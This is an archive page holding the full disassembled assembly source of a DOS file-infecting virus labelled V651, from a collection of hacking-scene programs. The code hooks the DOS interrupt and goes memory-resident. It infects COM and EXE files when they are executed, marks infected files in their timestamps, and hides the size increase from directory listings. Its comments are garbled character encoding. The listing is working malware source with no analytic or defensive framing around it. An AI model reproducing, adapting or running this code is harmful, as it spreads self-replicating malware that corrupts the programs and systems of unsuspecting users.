home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Collection of Hack-Phreak Scene Programs
/
cleanhpvac.zip
/
cleanhpvac
/
SOURCE.ZIP
/
V651.ASM
< prev
next >
Wrap
Assembly Source File
|
1980-01-01
|
18KB
|
395 lines
PAGE 59,132
;██████████████████████████████████████████████████████████████████████████
;██ ██
;██ V651 ██
;██ ██
;██ Created: 17-Jan-80 ██
;██ Version: ██
;██ Passes: 9 Analysis Options on: ABCEFPX ██
;██ ██
;██ ██
;██████████████████████████████████████████████████████████████████████████
data_1e equ 84h ; (6FC2:0084=0)
data_2e equ 86h ; (6FC2:0086=0)
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
v651 proc far
start:
jmp loc_2 ; (09EB)
db 377 dup (0)
data_4 dw 0 ; Data table (indexed access)
data_5 dw 0 ; Data table (indexed access)
data_6 dw offset loc_1, seg loc_1 ;*Data table (indexed access)
data_8 dw 0 ; Data table (indexed access)
data_9 dw 0 ; Data table (indexed access)
data_10 dw 0 ; Data table (indexed access)
db 0 ; Data table (indexed access)
db 0
data_13 dw 0
db 0, 0
data_14 dw 0
data_15 dw 0
data_16 dw 0
data_17 dd 00000h
db 0, 0
data_19 dd 00000h
data_21 dw 0
data_22 dw 0
db 1863 dup (0)
loc_2:
call sub_1 ; (09EE)
v651 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_1 proc near
pop bx
sub bx,3 ; bx - ¡á╖á½Ñ¡ áñ░Ñ▒
push ax
sub ax,ax
mov es,ax ; ES:=0
mov ax,es:[84h] ; éºÑ¼á INT 21h óѬ▓«░á
mov cs:[bx+027Ch],ax ; çá»áºóá offs ¡á INT 13h
mov ax,es:[86h] ; éºÑ¼á seg ¡á INT 13h
mov cs:[bx+027Eh],ax ; çá»áºóá seg ¡á INT 13h
mov ax,0A55Ah
int 21h ; Å░«óÑ░┐óá ºá ░Ѻ¿ñÑ¡▓Ñ¡ ó¿░│▒
cmp ax,5AA5h
je loc_3 ; Ǭ« Ñ ░Ѻ¿ñÑ¡▓Ñ¡. êº╡«ñ
mov ax,sp
inc ax
mov cl,4
shr ax,cl ; Shift w/zeros fill
inc ax
mov cx,ss
add ax,cx
mov cx,ds
dec cx ; ìἿ░á ¬░á┐▓ ¡á »░«ú░á¼á▓á
mov es,cx
mov di,2
mov dx,2Bh
mov cx,[di] ; é CX ▒Ñ ºá»¿▒óá ░ẼÑ░á ¡á »á¼Ñ▓▓á
sub cx,dx ; êºóáªñá «▓ CX , DX
cmp cx,ax ; Å░«óÑ░┐óá ñ὿ ¿¼á ¼┐▒▓« ºá ó¿░│▒á
jb loc_3 ; Ǭ« ¡┐¼á ¿º½¿ºá
sub es:[di+1],dx ; êºóáªñá ñ║½ª¿¡á▓á ¡á ó¿░│▒á «▓ ▓Ѭ│╣¿┐ í½«¬
mov [di],cx ; çỿ▒óá ¡«ó¿┐▓ ░ẼÑ░ ¡á »á¼Ñ▓▓á
mov es,cx
mov si,bx
sub di,di
mov cx,140h
cld ; Å░ѼÑ▒▓óá ¬«ñá ó ú«░¡á▓á ╖á▒▓
rep movs word ptr es:[di],word ptr cs:[si]
mov ax,es ; AX:=ES
mov es,cx ; ES:=0
cli
mov word ptr es:[84],0A7h ; Å░«¼Ñ¡┐ INT 21h
mov es:[86],ax
sti
loc_3:
push ds
pop es
mov ax,cs:[bx+0288h] ; çá░Ѫñá ┤½«ú ºá ▓¿»á ¡á ┤´á
cmp ax,5A4Dh ; ö´á Ñ EXE ?
je loc_4
cmp ax,4D5Ah ; ö´á Ñ EXE ?
je loc_4
mov di,100h ; é »░«▓¿óÑ¡ ▒½│╖á⌐ ┤´á Ñ COM
mov [di],ax
mov al,byte ptr [bx+28Ah] ; é║º▒▓á¡«ó┐óá »║░ó¿▓Ñ 3 íá⌐▓á
mov [di+2],al
pop ax
push di
retn ; é░║╣á │»░áó½Ñ¡¿Ñ▓« ¡á »░ú░á¼á▓á
loc_4:
pop ax
mov dx,ds
add dx,10h ; Å░¿íáó┐ ¬║¼ ▒▓á░▓«ó¿┐ áñ░Ñ▒
add word ptr cs:[bx+0282h],dx ; ▓Ѭ│╣¿┐ ▒Ñú¼Ñ¡▓
add dx,cs:[bx+0286h] ; Å░¿íáó┐ ¬║¼ ▓Ѭ│╣¿┐ ▒Ñú¼Ñ¡▓
mov ss,dx ; «▓¼Ñ▒▓óá¡Ñ▓« ¡á SS
mov sp,cs:[bx+0284h] ; é║º▒▓á¡«ó┐óá SP
jmp dword ptr cs:[bx+0280h] ; Å░Ñ╡«ñ ¬║¼ ó╡«ñ¡á▓á ▓«╖¬á ¡á ┤´á
;-----------------------------------------------------------------------------
sti ; é╡«ñ¡á ▓«╖¬á ¡á INT 21h
cmp ax,4B00h ; Exec read & exec
je loc_10
cmp ah,11h ; FindFirst FCB
je loc_5
cmp ah,12h ; FindNext FCB
je loc_5
cmp ax,0A55Ah
je loc_9 ; Jump if equal
jmp loc_28 ; (0C44)
loc_5:
pushf ; Push flags
call dword ptr cs:data_4 ; (6FC2:027C=0)
test al,al ; Å░«óÑ░┐óá ñ὿ Ñ ¡á¼Ñ░Ñ¡ ┤´
jnz loc_ret_8 ; Ǭ« ¡Ñ êçòÄä!
push ax
push bx ; çá»áºóá AX,BX,ES
push es
mov bx,dx
mov al,[bx]
push ax
mov ah,2Fh ; '/'
int 21h ; DOS Services ah=function 2Fh
; get DTA ptr into es:bx
pop ax
inc al
jnz loc_6 ; Jump if not zero
add bx,7
loc_6:
mov ax,es:[bx+17h]
and al,1Fh ; Å░«óÑ░┐óá ñ὿ Ñ ºá░áºÑ¡
cmp al,1Fh
jne loc_7
and byte ptr es:[bx+17h],0E0h
sub word ptr es:[bx+1Dh],28Bh ; è«░¿ú¿░á ñ║½ª¿¡á▓á
sbb word ptr es:[bx+1Fh],0
loc_7:
pop es
pop bx ; é║º▒▓á¡«ó┐óá ░Ñú¿▒▓░¿▓Ñ
pop ax
loc_ret_8:
iret ; Interrupt return
loc_9:
not ax ; Æ«óá Ñ ┤│¡¬╢¿┐ A55A
iret ; Interrupt return
loc_10:
push ds
push es
push ax ; éºÑ¼á INT 24h
push bx
push cx
push dx
push si
push di
mov ax,3524h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
push es
push bx
push ds
push dx ; Å░«¼Ñ¡┐ INT 24h
push cs
pop ds
mov dx,25Eh
mov ax,2524h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
pop dx
pop ds
mov ax,4300h ; éºÑ¼á á▓░¿í│▓¿▓Ñ ¡á ┤´á
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
jnc loc_11 ; Jump if carry=0
sub cx,cx
jmp loc_26 ; êº╡«ñ
loc_11:
push cx
test cl,1
jz loc_12 ; Å░«óÑ░┐óá ñ὿ ¡┐¼á ó¬½╛╖Ñ¡ read-only
dec cx
mov ax,4301h ; Å░«¼Ñ¡┐ á▓░¿í│▓¿▓Ñ ¡á ┤´á
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
loc_12:
mov ax,3D02h ; Ä▓óá░┐ ┤´á
int 21h
push cs
pop ds
jnc loc_13 ; Jump if carry=0
jmp loc_25 ; (0C2A)
loc_13:
mov bx,ax
mov ax,5700h ; éºÑ¼á ó░ѼÑ▓« ¡á ┤´á
int 21h ; DOS Services ah=function 57h
; get/set file date & time
jc loc_14 ; Jump if carry Set
mov al,cl
or cl,1Fh ; Å░«óÑ░┐óá ┤á¿½á ºá░áºÑ¡ ½¿ Ñ
cmp al,cl
jne loc_15 ; Jump if not equal
loc_14:
jmp loc_24 ; (0C26)
loc_15:
push cx
push dx
mov dx,288h
mov cx,18h
mov ah,3Fh ; ùÑ▓Ñ »░Ñ┤¿¬▒á ¡á EXE
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
jc loc_16 ; Jump if carry Set
sub cx,ax
jnz loc_16 ; Jump if not zero
les ax,data_17 ; çừ¼¡┐ «▓¼Ñ▒▓óá¡Ñ▓« ¡á SS ¿ SP
mov data_8,es ; (6FC2:0284=0) => SS
mov data_9,ax ; (6FC2:0286=0) => SP
les ax,data_19 ; çừ¼¡┐ «▓¼Ñ▒▓óá¡Ñ▓« ¡á CS ¿ IP
mov word ptr data_6,ax ; (6FC2:0280=0) => IP
mov word ptr data_6+2,es ; (6FC2:0282=0) => CS
mov dx,cx
mov ax,4202h
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
jc loc_16 ; Jump if carry Set
mov data_21,ax ; (6FC2:02A0=0)
mov data_22,dx ; (6FC2:02A2=0)
mov cx,28Bh
cmp ax,cx
sbb dx,0
jc loc_16 ; Jump if carry Set
call sub_2 ; Å░«óÑ░┐óá ñ὿ Ñ EXE
jz loc_17 ; Jump if zero
cmp ax,0FB75h ; Å░«óÑ░┐óá ñ὿ Ñ ó║º¼«ª¡« ñá ▒Ñ ºá»¿╕Ñ
jb loc_17 ; Jump if below
loc_16:
jmp loc_22 ; (0C1C)
loc_17:
sub dx,dx
mov ah,40h ; çỿ▒óá ó¿░│▒á ó ¬░á┐ ¡á ┤´á
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
jc loc_16 ; Jump if carry Set
sub cx,ax
jnz loc_16 ; Jump if not zero
mov dx,cx
mov ax,4200h ; Å░ѼÑ▒▓óá FP ó ¡á╖Ὣ▓« ¡á ┤´á
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
jc loc_16 ; Jump if carry Set
mov ax,data_21 ; (6FC2:02A0=0)
call sub_2 ; Å░«óÑ░┐óá ñ὿ Ñ EXE
jnz loc_20 ; Jump if not zero
mov dx,data_22 ; (6FC2:02A2=0)
mov cx,4
mov si,data_14 ; (6FC2:0290=0)
sub di,di
locloop_18:
shl si,1 ; Shift w/zeros fill
rcl di,1 ; Rotate thru carry
loop locloop_18 ; Loop if cx > 0
sub ax,si
sbb dx,di
mov cl,0Ch
shl dx,cl ; Shift w/zeros fill
mov word ptr data_19,ax ; (6FC2:029C=0)
mov word ptr data_19+2,dx ; (6FC2:029E=0)
add dx,31h
nop ; è«░¿ú¿░á »░Ñ┤¿¬▒á
mov word ptr data_17+2,ax ; (6FC2:0298=0)
mov word ptr data_17,dx ; (6FC2:0296=0)
add data_15,9 ; (6FC2:0292=0)
mov ax,data_15 ; (6FC2:0292=0)
cmp ax,data_16 ; (6FC2:0294=0)
jb loc_19 ; Jump if below
mov data_16,ax ; (6FC2:0294=0)
loc_19:
mov ax,word ptr ds:[28Ah] ; (6FC2:028A=0)
add ax,28Bh
push ax
and ah,1
mov word ptr ds:[28Ah],ax ; (6FC2:028A=0)
pop ax
mov cl,9
shr ax,cl ; Shift w/zeros fill
add data_13,ax ; (6FC2:028C=0)
jmp short loc_21 ; (0C0C)
loc_20:
sub ax,3
mov byte ptr data_10,0E9h ; (6FC2:0288=0)
mov word ptr data_10+1,ax ; (6FC2:0289=0)
loc_21:
mov dx,288h
mov cx,18h
mov ah,40h ; çỿ▒óá »░Ñ┤¿¬▒á
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
jc loc_22 ; Jump if carry Set
cmp ax,cx
je loc_23 ; Jump if equal
loc_22:
stc ; Set carry flag
loc_23:
pop dx
pop cx
jc loc_24 ; é║º▒▓á¡«ó┐óá ó░ѼÑ▓«
mov ax,5701h
int 21h ; DOS Services ah=function 57h
; get/set file date & time
loc_24:
mov ah,3Eh ; çá▓óá░┐ ┤´á
int 21h
loc_25:
pop cx
loc_26:
test cl,1
jz loc_27 ; Jump if zero
mov ax,4301h ; é║º▒▓á¡«ó┐óá á▓░¿í│▓¿▓Ñ
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
loc_27:
pop dx
pop ds
mov ax,2524h
int 21h ; é║º▒▓á¡«ó┐óá INT 24h
pop di
pop si
pop dx
pop cx ; é║º▒▓á¡«ó┐óá ░Ñú¿▒▓░¿▓Ñ
pop bx
pop ax
pop es
pop ds
loc_28:
jmp dword ptr cs:data_4 ; (6FC2:027C=0)
mov al,3
iret ; Interrupt return
sub_1 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_2 proc near ; Å░«óÑ░┐óá ñ὿ ┤á⌐½á Ñ EXE
mov si,data_10 ; (6FC2:0288=0)
cmp si,5A4Dh
je loc_ret_29 ; Jump if equal
cmp si,4D5Ah
loc_ret_29:
retn
sub_2 endp
db 'Eddie lives'
otmestwania db 0, 60h, 14h, 8Eh, 2, 0
db 7 dup (0)
First_inst: db 0CDh, 20h, 0
seg_a ends
end start